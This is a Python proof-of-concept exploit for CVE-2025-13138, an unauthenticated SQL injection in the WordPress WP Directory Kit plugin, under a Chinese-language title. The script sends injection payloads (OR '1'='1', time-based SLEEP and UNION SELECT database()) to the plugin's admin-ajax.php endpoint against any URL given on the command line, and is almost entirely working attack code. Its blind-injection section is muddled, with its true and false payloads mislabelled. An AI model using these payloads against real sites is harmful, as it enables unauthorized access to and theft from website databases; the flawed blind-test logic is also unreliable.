CVE-2025-13138 WordPress WP Directory Kit插件SQL注入漏洞

import requests import sys # CVE-2025-13138 SQL Injection PoC # Target: WordPress with WP Directory Kit plugin <= 1.4.3 # Vulnerability: Unauthenticated SQL Injection via columns_search parameter def exploit_sqli(target_url, payload): """ Exploit SQL injection in WP Directory Kit plugin The vulnerability exists in select_2_ajax() function """ # Construct the AJAX endpoint endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Prepare the malicious request data = { 'action': 'wdk_select_2_ajax', 'columns_search': payload, 'table': 'wdk_settings', 'limit': 1 } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def test_blind_sqli(target_url): """ Test for blind SQL injection vulnerability Using time-based blind injection technique """ # True condition - should respond quickly true_payload = "1' AND (SELECT 1 FROM (SELECT SLEEP(0))a) AND '1'='1" # False condition - should respond quickly (no delay) false_payload = "1' AND (SELECT 1 FROM (SELECT SLEEP(5))a) AND '1'='2" print(f"[*] Testing blind SQL injection on {target_url}") print(f"[*] True condition payload: {true_payload}") print(f"[*] False condition payload: {false_payload}") # Note: In a real attack, timing analysis would be performed here print("[*] Blind SQL injection test completed") def extract_database_info(target_url): """ Extract database information using UNION-based injection """ # Example UNION-based injection to extract database name union_payload = "1' UNION SELECT database()-- -" print(f"[*] Attempting to extract database information") result = exploit_sqli(target_url, union_payload) print(f"[*] Database info: {result[:200]}...") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13138.py <target_url>") print("Example: python cve-2025-13138.py http://example.com") sys.exit(1) target = sys.argv[1] # Test basic exploitation print("=" * 60) print("CVE-2025-13138 WP Directory Kit SQL Injection Exploit") print("=" * 60) # Basic test basic_payload = "1' OR '1'='1" print(f"[*] Sending basic test payload: {basic_payload}") result = exploit_sqli(target, basic_payload) print(f"[*] Response length: {len(result)} characters") # Test blind injection test_blind_sqli(target) print("\n[*] Exploitation complete") print("[*] Note: This is a proof-of-concept for educational purposes only")